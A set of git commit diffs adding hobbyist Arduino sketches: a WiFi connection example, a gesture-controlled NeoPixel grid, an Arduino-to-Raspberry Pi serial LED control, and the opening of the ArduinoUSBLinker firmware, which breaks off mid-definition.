Add Arduino sketch for Day 15 + 16

Add Arduino sketch for Day 15 + 16

error: pathspec '2014-07-05/ConnectWithWPA/ConnectWithWPA.ino' did not match any file(s) known to git

--- 2014-07-05/ConnectWithWPA/ConnectWithWPA.ino
+++ 2014-07-05/ConnectWithWPA/ConnectWithWPA.ino
@@ -0,0 +1,120 @@
+/*
+
+ This example connects to an unencrypted Wifi network.
+ Then it prints the  MAC address of the Wifi shield,
+ the IP address obtained, and other network details.
+
+ Circuit:
+ * WiFi shield attached
+
+ created 13 July 2010
+ by dlf (Metodo2 srl)
+ modified 31 May 2012
+ by Tom Igoe
+ */
+ #include <WiFi.h>
+
+char ssid[] = "GalileoNet";     //  your network SSID (name)
+char pass[] = "12345678";  // your network password
+int status = WL_IDLE_STATUS;     // the Wifi radio's status
+
+void setup() {
+  //Initialize serial and wait for port to open:
+  Serial.begin(9600);
+  while (!Serial) {
+    ; // wait for serial port to connect. Needed for Leonardo only
+  }
+
+  // check for the presence of the shield:
+  if (WiFi.status() == WL_NO_SHIELD) {
+    Serial.println("WiFi shield not present");
+    // don't continue:
+    while(true);
+  }
+
+  String fv = WiFi.firmwareVersion();
+  if( fv != "1.1.0" )
+    Serial.println("Please upgrade the firmware");
+
+ // attempt to connect to Wifi network:
+  while ( status != WL_CONNECTED) {
+    Serial.print("Attempting to connect to WPA SSID: ");
+    Serial.println(ssid);
+    // Connect to WPA/WPA2 network:
+    status = WiFi.begin(ssid, pass);
+
+    // wait 10 seconds for connection:
+    delay(10000);
+  }
+
+  // you're connected now, so print out the data:
+  Serial.print("You're connected to the network");
+  printCurrentNet();
+  printWifiData();
+
+}
+
+void loop() {
+  // check the network connection once every 10 seconds:
+  delay(10000);
+  printCurrentNet();
+}
+
+void printWifiData() {
+  // print your WiFi shield's IP address:
+  IPAddress ip = WiFi.localIP();
+    Serial.print("IP Address: ");
+  Serial.println(ip);
+  Serial.println(ip);
+
+  // print your MAC address:
+  byte mac[6];
+  WiFi.macAddress(mac);
+  Serial.print("MAC address: ");
+  Serial.print(mac[5],HEX);
+  Serial.print(":");
+  Serial.print(mac[4],HEX);
+  Serial.print(":");
+  Serial.print(mac[3],HEX);
+  Serial.print(":");
+  Serial.print(mac[2],HEX);
+  Serial.print(":");
+  Serial.print(mac[1],HEX);
+  Serial.print(":");
+  Serial.println(mac[0],HEX);
+
+}
+
+void printCurrentNet() {
+  // print the SSID of the network you're attached to:
+  Serial.print("SSID: ");
+  Serial.println(WiFi.SSID());
+
+  // print the MAC address of the router you're attached to:
+  byte bssid[6];
+  WiFi.BSSID(bssid);
+  Serial.print("BSSID: ");
+  Serial.print(bssid[5],HEX);
+  Serial.print(":");
+  Serial.print(bssid[4],HEX);
+  Serial.print(":");
+  Serial.print(bssid[3],HEX);
+  Serial.print(":");
+  Serial.print(bssid[2],HEX);
+  Serial.print(":");
+  Serial.print(bssid[1],HEX);
+  Serial.print(":");
+  Serial.println(bssid[0],HEX);
+
+  // print the received signal strength:
+  long rssi = WiFi.RSSI();
+  Serial.print("signal strength (RSSI):");
+  Serial.println(rssi);
+
+  // print the encryption type:
+  byte encryption = WiFi.encryptionType();
+  Serial.print("Encryption Type:");
+  Serial.println(encryption,HEX);
+  Serial.println();
+}
+


Adding in Example for Neopixel grid

Adding in Example for Neopixel grid

error: pathspec 'Hover/examples/NeoPixelGrid/neoPixelGrid.ino' did not match any file(s) known to git

--- Hover/examples/NeoPixelGrid/neoPixelGrid.ino
+++ Hover/examples/NeoPixelGrid/neoPixelGrid.ino
@@ -0,0 +1,537 @@
+// NeoPixel Ring simple sketch (c) 2013 Shae Erisson
+// released under the GPLv3 license to match the rest of the AdaFruit NeoPixel library
+// Hover example built using the Neopixel Ring as a base.
+
+#include <Adafruit_NeoPixel.h>
+#ifdef __AVR__
+  #include <avr/power.h>
+#endif
+
+// How many NeoPixels are attached to the Arduino?
+#define NUMPIXELS      64
+#define PIN            7
+
+// When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.
+// Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest
+// example for more information on possible values.
+Adafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);
+int delayval = 500; // delay for half a second
+
+#include <Wire.h>
+#include <Hover.h>
+
+// pin declarations for Hover
+int ts = 5;
+int reset = 6;
+int circle_count = 999;
+
+// Enable or disable different modes. Only gestures and taps are enabled by default.
+// Set the following four options to 0x01 if you want to capture every event. Note that the Serial console will be 'spammy'.
+#define GESTUREMODE 0x01    //0x00 = disable gestures, 0x01 = enable gestures
+#define TOUCHMODE 0x00      //0x00 = disable touch, 0x01 = enable touch
+#define TAPMODE 0x01        //0x00 = disable taps, 0x01 = enable taps, 0x02 = single taps only, 0x03 = double taps only
+#define POSITIONMODE 0x00   //0x00 = disable position tracking, 0x01 = enable position tracking
+
+// initialize Hover
+Hover hover = Hover(ts, reset, GESTUREMODE, TOUCHMODE, TAPMODE, POSITIONMODE);
+
+// used when printing 3D position coordinates. Using a smaller interval will result in a 'spammy' console. Set to update every 150ms by default.
+long interval = 10;
+long previousMillis = 0;
+int light;
+
+void setup() {
+  Serial.begin(9600);
+  delay(2000);
+  Serial.println("Initializing Hover...please wait.");
+  hover.begin();
+  pixels.begin();
+}
+
+void loop() {
+
+  // For a set of NeoPixels the first NeoPixel is 0, second is 1, all the way up to the count of pixels minus one.
+
+  unsigned long currentMillis = millis();    // used for updating 3D position coordinates. Set to update every 150ms by default.
+
+  // read incoming data stream from Hover
+  hover.readI2CData();
+
+  Gesture g = hover.getGesture();
+  Touch t = hover.getTouch();
+  Position p = hover.getPosition();
+
+
+////////////////////////////////////Touch Example
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+
+  if ( t.touchID == 0x03) {
+    if (t.touchValue == 0x5) {
+      for (int i=0; i<8; i++){
+        pixels.setPixelColor(0+i, pixels.Color(90,0,90));
+        pixels.setPixelColor(56+i, pixels.Color(90,0,90));
+        pixels.setPixelColor(7+(i*8), pixels.Color(90,0,90));
+        pixels.setPixelColor(0+(i*8), pixels.Color(90,0,90));
+      }
+      pixels.show();
+      delay(100);
+      for (int i=0; i<8; i++){
+        pixels.setPixelColor(0+i, 0);
+        pixels.setPixelColor(56+i, 0);
+        pixels.setPixelColor(7+(i*8), 0);
+        pixels.setPixelColor(0+(i*8), 0);
+      }
+      pixels.show();
+    }
+  } else if ( t.touchID == 0x2){
+    if (t.touchValue == 0x1) {
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(24+i, pixels.Color(0,30,10));
+        pixels.setPixelColor(32+i, pixels.Color(0,30,10));
+      }
+      pixels.show();
+      delay(100);
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(24+i, 0);
+        pixels.setPixelColor(32+i, 0);
+        delay(12);
+        pixels.show();
+      }
+    }
+    else if (t.touchValue == 0x2) {
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(24+i, pixels.Color(40,0,00));
+        pixels.setPixelColor(32+i, pixels.Color(40,0,00));
+      }
+      pixels.show();
+      delay(100);
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(31-i, 0);
+        pixels.setPixelColor(39-i, 0);
+        delay(12);
+        pixels.show();
+      }
+    }
+    else if (t.touchValue == 0x3) {
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(3+(i*8), pixels.Color(50,30,0));
+        pixels.setPixelColor(4+(i*8), pixels.Color(50,30,0));
+      }
+      pixels.show();
+      delay(100);
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(59-(i*8), 0);
+        pixels.setPixelColor(60-(i*8), 0);
+        delay(12);
+        pixels.show();
+      }
+    }
+    else if (t.touchValue == 0x4) {
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(3+(i*8), pixels.Color(0,0,30));
+        pixels.setPixelColor(4+(i*8), pixels.Color(0,0,30));
+      }
+      pixels.show();
+      delay(100);
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(3+(i*8), 0);
+        pixels.setPixelColor(4+(i*8), 0);
+        delay(12);
+        pixels.show();
+      }
+    }
+    else if (t.touchValue == 0x5) {
+      for (int i = 0; i<4; i++){
+        pixels.setPixelColor(0+(i*9), pixels.Color(90,0,90));
+        pixels.setPixelColor(7+(i*7), pixels.Color(90,0,90));
+        pixels.setPixelColor(63-(i*9), pixels.Color(90,0,90));
+        pixels.setPixelColor(56-(i*7), pixels.Color(90,0,90));
+        pixels.show();
+        delay(60);
+      }
+      pixels.show();
+      delay(10);
+      for (int i = 0; i<8; i++){
+        pixels.setPixelColor(0+(i*9), 0);
+        pixels.setPixelColor(7+(i*7), 0);
+        pixels.setPixelColor(63-(i*9), 0);
+        pixels.setPixelColor(56-(i*7), 0);
+      }
+      pixels.show();
+    }
+  }
+
+
+////////////////////////////////////Gestures Example
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+
+   int r2 = 0;
+   int g2 = 0;
+   int b2 = 10;
+   int x = 0;
+
+
+
+  if (g.gestureID == 0x2){
+    if (g.gestureValue > 0 && g.gestureValue < 21 && circle_count !=0) {
+      //print 0
+      circle_count = 0;
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+      }
+      for (int i=0; i< 7; i++) {
+        pixels.setPixelColor(2+(i*8), pixels.Color(5,5,2));
+        pixels.setPixelColor(5+(i*8), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 20 && g.gestureValue < 46 && circle_count != 1) {
+      //print 1
+      circle_count = 1;
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 7; i++) {
+        pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 45 && g.gestureValue < 71 && circle_count != 2) {
+      //print 2
+      circle_count = 2;
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(26+(8*i), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 70 && g.gestureValue < 96 && circle_count != 3) {
+        circle_count = 3;
+        //print 3
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2));
+      }
+        pixels.show();
+    } else if (g.gestureValue > 95 && g.gestureValue < 121 && circle_count != 4) {
+        circle_count = 4;
+      //print 4
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+     for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(2+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 120 && g.gestureValue < 156 && circle_count != 5) {
+        circle_count = 5;
+      //print 5
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+     for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(2+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 155 && g.gestureValue < 181 && circle_count != 6) {
+        circle_count = 6;
+      //print 6
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(2+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(26+(8*i), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 180 && g.gestureValue < 206 && circle_count != 7) {
+      circle_count = 7;
+      //print 7
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(5+(8*i), pixels.Color(5,5,2));
+        pixels.setPixelColor(29+(8*i), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 205 && g.gestureValue < 231 && circle_count != 8) {
+        circle_count = 8;
+      //print 8
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+      }
+      for (int i=0; i< 7; i++) {
+        pixels.setPixelColor(2+(i*8), pixels.Color(5,5,2));
+        pixels.setPixelColor(5+(i*8), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    } else if (g.gestureValue > 230 && g.gestureValue < 256 && circle_count != 9) {
+        circle_count = 9;
+      //print 9
+      for (int i=0; i<7; i++) {
+        for (int j=0; j<4; j++){
+           pixels.setPixelColor(2+j+(i*8), 0);
+        }
+      }
+      pixels.show();
+      for (int i=0; i< 4; i++) {
+        pixels.setPixelColor(2+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(26+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(50+i, pixels.Color(5,5,2));
+        pixels.setPixelColor(2+(i*8), pixels.Color(5,5,2));
+      }
+      for (int i=0; i< 7; i++) {
+        pixels.setPixelColor(5+(i*8), pixels.Color(5,5,2));
+      }
+      pixels.show();
+    }
+  }
+/*
+
+////////////////////////////////////Counter
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+
+   if ( g.gestureID != 0){
+    if ( g.gestureValue == 0x1){
+      for (int i = 0; i<10; i++){
+        for (int j = 0; j < 4; j++) {
+          if (i > 1-j && i < 9-j){
+            pixels.setPixelColor(-2+i+(9*j), pixels.Color(0,30,10));
+            pixels.setPixelColor(54+i-(7*j), pixels.Color(0,30,10));
+
+          } else if (i > 8-j){
+            pixels.setPixelColor(7+(j*8), pixels.Color(0,30,10));
+            pixels.setPixelColor(63-(j*8), pixels.Color(0,30,10));
+          }
+        }
+        pixels.show();
+        delay(i*9);
+        for (int j = 0; j < 4; j++) {
+          if (i > 1-j && i < 9-j){
+            pixels.setPixelColor(-2+i+(9*j), 0);
+            pixels.setPixelColor(54+i-(7*j), 0);
+          } else if (i > 8-j){
+            pixels.setPixelColor(7+(j*8), 0);
+            pixels.setPixelColor(63-(j*8), 0);
+          }
+          pixels.show();
+        }
+      }
+     } else if ( g.gestureValue == 0x2) {
+        for (int i = 0; i<10; i++){
+          for (int j = 0; j < 4; j++) {
+            if (i > 1-j && i < 9-j){
+              pixels.setPixelColor(9-i+(7*j), pixels.Color(40,0,0));
+              pixels.setPixelColor(65-i-(9*j), pixels.Color(40,0,0));
+
+            } else if (i > 8-j){
+              pixels.setPixelColor(0+(j*8), pixels.Color(40,0,0));
+              pixels.setPixelColor(56-(j*8), pixels.Color(40,0,0));
+            }
+          }
+          pixels.show();
+          delay(i*9);
+          for (int j = 0; j < 4; j++) {
+            if (i > 1-j && i < 9-j){
+              pixels.setPixelColor(9-i+(7*j), 0);
+              pixels.setPixelColor(65-i-(9*j), 0);
+            } else if (i > 8-j){
+              pixels.setPixelColor(0+(j*8), 0);
+              pixels.setPixelColor(56-(j*8), 0);
+            }
+            pixels.show();
+          }
+        }
+      } else if ( g.gestureValue == 0x3) {
+        for (int i = 0; i<10; i++){
+          for (int j = 0; j < 4; j++) {
+            if (i > 1-j && i < 9-j){
+              pixels.setPixelColor(72-(i*8)-(j*7), pixels.Color(50,30,00));
+              pixels.setPixelColor(79-(i*8)-(j*9), pixels.Color(50,30,00));
+            } else if (i > 8-j){
+              pixels.setPixelColor(0+j, pixels.Color(50,30,00));
+              pixels.setPixelColor(7-j, pixels.Color(50,30,00));
+            }
+          }
+          pixels.show();
+          delay(i*9);
+          for (int j = 0; j < 4; j++) {
+            if (i > 1-j && i < 9-j){
+              pixels.setPixelColor(72-(i*8)-(j*7), 0);
+              pixels.setPixelColor(79-(i*8)-(j*9), 0);
+            } else if (i > 8-j){
+              pixels.setPixelColor(0+j, 0);
+              pixels.setPixelColor(7-j, 0);
+            }
+            pixels.show();
+          }
+        }
+      } else if ( g.gestureValue == 0x4) {
+        for (int i = 0; i<10; i++){
+          for (int j = 0; j < 4; j++) {
+            if (i > 1-j && i < 9-j){
+              pixels.setPixelColor(-16+(i*8)+(j*9), pixels.Color(0,0,30));
+              pixels.setPixelColor(-9+(i*8)+(j*7), pixels.Color(0,0,30));
+            } else if (i > 8-j){
+              pixels.setPixelColor(56+j, pixels.Color(0,0,30));
+              pixels.setPixelColor(63-j, pixels.Color(0,0,30));
+            }
+          }
+          pixels.show();
+          delay(i*9);
+          for (int j = 0; j < 4; j++) {
+            if (i > 1-j && i < 9-j){
+              pixels.setPixelColor(-16+(i*8)+(j*9), 0);
+              pixels.setPixelColor(-9+(i*8)+(j*7), 0);
+            } else if (i > 8-j){
+              pixels.setPixelColor(56+j, 0);
+              pixels.setPixelColor(63-j, 0);
+            }
+            pixels.show();
+          }
+        }
+      }
+   }
+
+*/
+/*
+
+
+
+////////////////////////////////////Position Example
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+
+  if( (currentMillis - previousMillis > interval)) {
+
+    previousMillis = currentMillis;
+    if ( !(p.x==0 && p.y==0 && p.x==0) ) {
+
+      // scale raw position coordinates from (0,65535) to (0, 100). Set to 100 by default. Can be changed to any positive value for the desired granularity.
+      p.x = map(p.x, 0, 65535, 0, 7);
+      p.y = map(p.y, 0, 65535, 0, 7);
+      p.z = map(p.z, 0, 65535, 0, 7);
+
+      light = (64+(p.x))-(8*(p.y));
+      Serial.println(light);
+
+      int r = 0;
+      int g = 0;
+      int b = 10;
+      int a = 4;
+
+      for (int i = 0; i<64; i++){
+        pixels.setPixelColor(i, pixels.Color(r+(p.z*a),g,b));
+      }
+      //3 colors
+      //1 - 2x2 square.  The point we use as center is top right.
+      //2 - Surrounding flower petals.  2 on each side of 2x2 square.
+      //3 - The rest.
+
+      pixels.setPixelColor(light, pixels.Color(r+(p.z*a),g,b+40));
+      pixels.setPixelColor(light+8, pixels.Color(r+(p.z*a),g,b+40));
+      pixels.setPixelColor(light-8, pixels.Color(r+(p.z*a),g,b+80));
+      pixels.setPixelColor(light+16, pixels.Color(r+(p.z*a),g,b+80));
+
+      //make sure we don't go over the edge
+      if (light % 8 != 7){
+            pixels.setPixelColor(light+1, pixels.Color(r+(p.z*a),g,b+40));
+            pixels.setPixelColor(light+9, pixels.Color(r+(p.z*a),g,b+40));
+
+            pixels.setPixelColor(light-7, pixels.Color(r+(p.z*a),g,b+80));
+            pixels.setPixelColor(light+17, pixels.Color(r+(p.z*a),g,b+80));
+      }
+      if (light % 8 != 7 && light % 8 != 6){
+            pixels.setPixelColor(light+2, pixels.Color(r+(p.z*a),g,b+80));
+            pixels.setPixelColor(light+10, pixels.Color(r+(p.z*a),g,b+80));
+      }
+      if (light % 8 != 0){
+            pixels.setPixelColor(light-1, pixels.Color(r+(p.z*a),g,b+80));
+            pixels.setPixelColor(light+7, pixels.Color(r+(p.z*a),g,b+80));
+      }
+
+      pixels.show();
+    }
+  }
+*/
+}
+
+
+/*  for(int i=0;i<NUMPIXELS;i++){
+
+    // pixels.Color takes RGB values, from 0,0,0 up to 255,255,255
+    pixels.setPixelColor(i, pixels.Color(0,150,0)); // Moderately bright green color.
+
+    pixels.show(); // This sends the updated pixel color to the hardware.
+
+    delay(delayval); // Delay for a period of time (in milliseconds).
+
+  }*/
+


New sw Serial comunication Arduino to Raspberry

error: pathspec 'SoftwareArduino/SoftwareSerialArduinitoRasp/SoftwareSerialArduinitoRasp.ino' did not match any file(s) known to git

--- SoftwareArduino/SoftwareSerialArduinitoRasp/SoftwareSerialArduinitoRasp.ino
+++ SoftwareArduino/SoftwareSerialArduinitoRasp/SoftwareSerialArduinitoRasp.ino
@@ -0,0 +1,87 @@
+/*
+  Software serial receive commands from RaspberryPi and turn led on
+
+ Receives from the hardware serial, sends to software serial.
+ Receives from software serial, sends to hardware serial.
+ stores in vector v the message
+ sends message back to RaspberryPi via software serial
+ checks if message = command 5 and turn on led for 5 sec
+
+ The circuit:
+ * RX is digital pin 10 (connect to TX of other device)
+ * TX is digital pin 11 (connect to RX of other device)
+
+ by Simoes
+ based on Tom Igoe and Mikal Hart's example
+*/
+
+#define trigPin 7
+#define echoPin 8
+#define motorleft 9               // the pin that the LED is attached to
+//#define motorright 10
+
+
+
+#include <SoftwareSerial.h>
+
+int a, i, j = 0;
+int v[500];  // maximun message size
+
+
+SoftwareSerial mySerial(10, 11); // RX, TX
+
+void setup()
+{
+  pinMode(13, OUTPUT);
+
+
+  // Open hardware serial communications and wait for port to open:
+  Serial.begin(9600);
+
+  // set the data rate for the SoftwareSerial port
+  mySerial.begin(9600);
+  digitalWrite(13, HIGH);
+  delay(1000);    // Time to turn motors on with low throtle
+  digitalWrite(13, LOW);
+
+
+}
+
+void loop()
+{
+if(  mySerial.available() )
+  {
+          while(1)
+            {
+                // Receives from software serial, sends to hardware serial.
+                a=mySerial.read();
+                //Serial.write(a);
+                v[i] = a;  //  stores in vector v the message
+                if(a=='X') break;
+                while (mySerial.available()==0);  // Wait for next byte
+                i++;
+            }
+  }
+          // sends message back to RaspberryPi via software serial
+          for(j = 0; j < i; j++)
+               Serial.write(v[j]);
+
+
+          for(j = 0; j < (i-5); j++)    //  checks if message = command 5 and turn on led for 5 sec
+              {
+
+              if(v[j+5]=='1' && v[j+4]==' ' && v[j+3]=='d' && v[j+2]=='n' && v[j+1]=='a' && v[j]=='m')
+                 {
+                      digitalWrite(13, HIGH);   // turn the LED on (HIGH is the voltage level)
+
+                        Serial.println("   Liga LED !!   ");
+
+                     delay(1000);              // wait for a second
+                     digitalWrite(13, LOW);    // turn the LED off by making the voltage LOW
+                 }
+
+              }
+   i = 0;
+}
+
+


Initial commit

Initial commit

error: pathspec 'arduino/ArduinoUSBLinker/ArduinoUSBLinker.ino' did not match any file(s) known to git

--- arduino/ArduinoUSBLinker/ArduinoUSBLinker.ino
+++ arduino/ArduinoUSBLinker/ArduinoUSBLinker.ino
@@ -0,0 +1,754 @@
+/*
+Copyright (C) 2012-2013 Chris Osgood <chris at luadev.com>
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License
+version 2 as published by the Free Software Foundation.  No
+other versions are acceptable.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+02110-1301, USA.
+*/
+
+///////////////////////////////////////////////////////////////////////////////
+
+// Check for MultiWii
+#if defined(MSP_VERSION)
+  #define MULTIWII
+#else
+  #include <EEPROM.h>
+#endif
+
+#define AUL_SERIALRATE 19200
+
+#define AUL_MIN_BITTIME 4
+#define AUL_MAX_BITTIME 136
+#define AUL_DEFAULT_BITTIME 32
+
+#define AUL_MICROS_TO_TICKS(x)  ((x) * (F_CPU / 1000000) / g_timerScale)
+#define AUL_MICROS_TO_TICKS_R(x) ((x) * g_timerScale / (F_CPU / 1000000))
+
+#if defined(__AVR_ATmega8__)
+#define AUL_SET_TIMER_MODE TCCR2 = g_timerConfig
+#else
+#define AUL_SET_TIMER_MODE TCCR2B = g_timerConfig
+#endif
+
+// Default PD2/INT0
+#define AUL_DEFAULT_PIN 18
+
+#define AUL_BUFSIZE 300
+
+#define AUL_SERIALTIMEOUT ((F_CPU >> 7) / (9600 >> 4))
+
+#define AUL_PININPUT  ((*g_signalDDR)  &= ~(g_signalPinPortNum))
+#define AUL_PINOUTPUT ((*g_signalDDR)  |=  (g_signalPinPortNum))
+#define AUL_PINHIGH   ((*g_signalPORT) |=  (g_signalPinPortNum))
+#define AUL_PINLOW    ((*g_signalPORT) &= ~(g_signalPinPortNum))
+
+#define AUL_PINREAD   ((*g_signalPIN) & (g_signalPinPortNum))
+
+#define AUL_DELAYTICKS(x) \
+  TCNT2 = 0; \
+  while (TCNT2 < (x));
+
+#if defined(__AVR_ATmega8__)
+#define AUL_SYNC_PRESCALER \
+  SFIOR = (1 << PSR2); \
+  while (SFIOR & (1 << PSR2));
+#else
+#define AUL_SYNC_PRESCALER \
+  GTCCR = (1 << PSRASY); \
+  while (GTCCR & (1 << PSRASY));
+#endif
+
+// Save space on MultWii since baud rate changes are not supported and it is the
+// only thing that requires a value greater than uint8
+#if defined(MULTIWII)
+  #define AUL_ASCII_INT_TYPE uint8_t
+#else
+  #define AUL_ASCII_INT_TYPE uint32_t
+#endif
+
+#define AUL_EEPROM_PIN 4
+#define AUL_EEPROM_BITTIME 5
+#define AUL_EEPROM_BAUD 6
+
+///////////////////////////////////////////////////////////////////////////////
+// Globals
+///////////////////////////////////////////////////////////////////////////////
+
+static uint8_t g_timerConfig;
+static uint16_t g_timerScale;
+
+// Approximate microseconds for each bit when sending
+static uint8_t g_bitTimeSend;
+static uint8_t g_bitTimeSendHalf;
+
+// Calculated leader timing for receive
+static uint8_t g_bitTime, g_shortBitTime;
+
+static volatile uint8_t* g_signalDDR;
+static volatile uint8_t* g_signalPORT;
+static volatile uint8_t* g_signalPIN;
+static int8_t g_signalPinPortNum, g_signalPinNum;
+
+#if defined(MULTIWII)
+static uint32_t g_baudRate = 0;
+#else
+static uint32_t g_baudRate = AUL_SERIALRATE;
+#endif
+
+///////////////////////////////////////////////////////////////////////////////
+// stdlib type utility functions (mostly to save space)
+///////////////////////////////////////////////////////////////////////////////
+
+// int to ASCII base 10
+// Returns the address of the null terminator
+static char* AUL_itoa(AUL_ASCII_INT_TYPE n, char *b)
+{
+   uint8_t i = 0, s;
+
+   do {
+      s = n % 10;
+      n = n / 10;
+      b[i++] = '0' + s;
+   } while (n > 0);
+
+   b[i] = '\0';
+
+   strrev(b);
+
+   return &b[i];
+}
+
+// ASCII to int base 10
+static AUL_ASCII_INT_TYPE AUL_atoi(const char* s)
+{
+  AUL_ASCII_INT_TYPE b = 0;
+  while (*s) b = (b << 3) + (b << 1) + (*s++ - '0');
+  return(b);
+}
+
+///////////////////////////////////////////////////////////////////////////////
+// Serial port.  MultiWii helpers.
+///////////////////////////////////////////////////////////////////////////////
+
+#if !defined(MULTIWII)
+
+#define AUL_SerialInit(x) Serial.begin(g_baudRate)
+#define AUL_SerialAvailable() Serial.available()
+#define AUL_SerialRead() Serial.read()
+#define AUL_SerialWrite(x) Serial.write(x)
+#define AUL_SerialWriteBuf(x,y) Serial.write(x,y)
+#define AUL_SerialWriteStr(x) Serial.write((const char*)x)
+
+#else // MULTIWII
+
+static volatile uint8_t* g_serialUCSRA;
+static volatile uint8_t* g_serialUDR;
+static uint8_t g_serialRXC, g_serialUDRE;
+
+static void AUL_SerialInit(uint8_t port)
+{
+  #define AUL_INIT_PORT(x) \
+    UCSR##x##C = (1 << UCSZ##x##1) | (1 << UCSZ##x##0); \
